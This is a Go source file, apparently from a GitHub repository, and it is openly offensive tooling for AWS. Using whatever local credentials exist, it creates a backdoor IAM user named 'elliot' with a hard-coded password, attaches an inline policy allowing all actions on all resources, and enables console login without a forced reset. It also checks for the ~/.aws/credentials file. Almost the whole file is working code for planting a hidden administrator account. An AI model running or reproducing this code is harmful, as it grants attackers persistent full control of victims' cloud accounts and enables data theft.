-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathaws.go
136 lines (107 loc) · 3.41 KB
/
aws.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
package main
import (
"fmt"
"os"
"strings"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/awserr"
"github.com/aws/aws-sdk-go/aws/session"
"github.com/aws/aws-sdk-go/service/iam"
)
func createUserAndGetAccountID() string {
var accountID string
hackerUser := "elliot"
hackerPassword := "natasha123"
arnPolicy := "arn:aws:iam::aws:policy/AdministratorAccess"
sess, err := session.NewSession(&aws.Config{
Region: aws.String("us-west-2")},
)
svc := iam.New(sess)
_, err = svc.GetUser(&iam.GetUserInput{
UserName: &hackerUser,
})
if awserr, ok := err.(awserr.Error); ok && awserr.Code() == iam.ErrCodeNoSuchEntityException {
result, err := svc.CreateUser(&iam.CreateUserInput{
UserName: &hackerUser,
PermissionsBoundary: &arnPolicy,
})
if err != nil {
fmt.Println("CreateUser Error", err)
panic(err)
}
fmt.Printf("Create user %s Success!\n", *result.User.UserName)
putResult := putAdminPolicyToUser(hackerUser)
if putResult != nil {
fmt.Println("Policy Attached! ")
}
req, profileLoginResp := svc.CreateLoginProfileRequest(&iam.CreateLoginProfileInput{
Password: &hackerPassword,
PasswordResetRequired: aws.Bool(false),
UserName: &hackerUser,
})
errReq := req.Send()
if errReq == nil { // resp is now filled
fmt.Printf("Created user %s profile login\n", *profileLoginResp.LoginProfile.UserName)
respUser, errUser := svc.GetUser(&iam.GetUserInput{
UserName: &hackerUser,
})
fmt.Println("Sucess get account information")
if errUser != nil {
panic(errUser)
}
accountID = strings.Split(*respUser.User.Arn, ":")[4]
}
} else {
fmt.Println("GetUser Error", err)
fmt.Println("Please verify account already exist")
panic(err)
}
return fmt.Sprintf("Account created \nusername: %s \npassword: %s \naccount_id: %s", hackerUser, hackerPassword, accountID)
}
func putAdminPolicyToUser(username string) *iam.PutUserPolicyOutput {
svc := iam.New(session.New())
input := &iam.PutUserPolicyInput{
PolicyDocument: aws.String("{\"Version\":\"2012-10-17\",\"Statement\":{\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}}"),
PolicyName: aws.String("KlyntarPolicy"),
UserName: aws.String(username),
}
result, err := svc.PutUserPolicy(input)
if err != nil {
if aerr, ok := err.(awserr.Error); ok {
switch aerr.Code() {
case iam.ErrCodeLimitExceededException:
fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error())
case iam.ErrCodeMalformedPolicyDocumentException:
fmt.Println(iam.ErrCodeMalformedPolicyDocumentException, aerr.Error())
case iam.ErrCodeNoSuchEntityException:
fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error())
case iam.ErrCodeServiceFailureException:
fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error())
default:
fmt.Println(aerr.Error())
}
} else {
// Print the error, cast err to awserr.Error to get the Code and
// Message from an error.
fmt.Println(err.Error())
}
panic(err)
}
return result
}
func checkAwsCredentialsExist() {
homedirPath, err := os.UserHomeDir()
if err != nil {
panic(err)
}
if checkPath(homedirPath + "/.aws") {
fmt.Println("Path .aws existe")
if checkPath(homedirPath + "/.aws/credentials") {
fmt.Println("Arquivo de credentials existe!")
} else {
fmt.Println("Arquivo de credentials não existe")
}
} else {
fmt.Println("Path .aws não existe")
}
}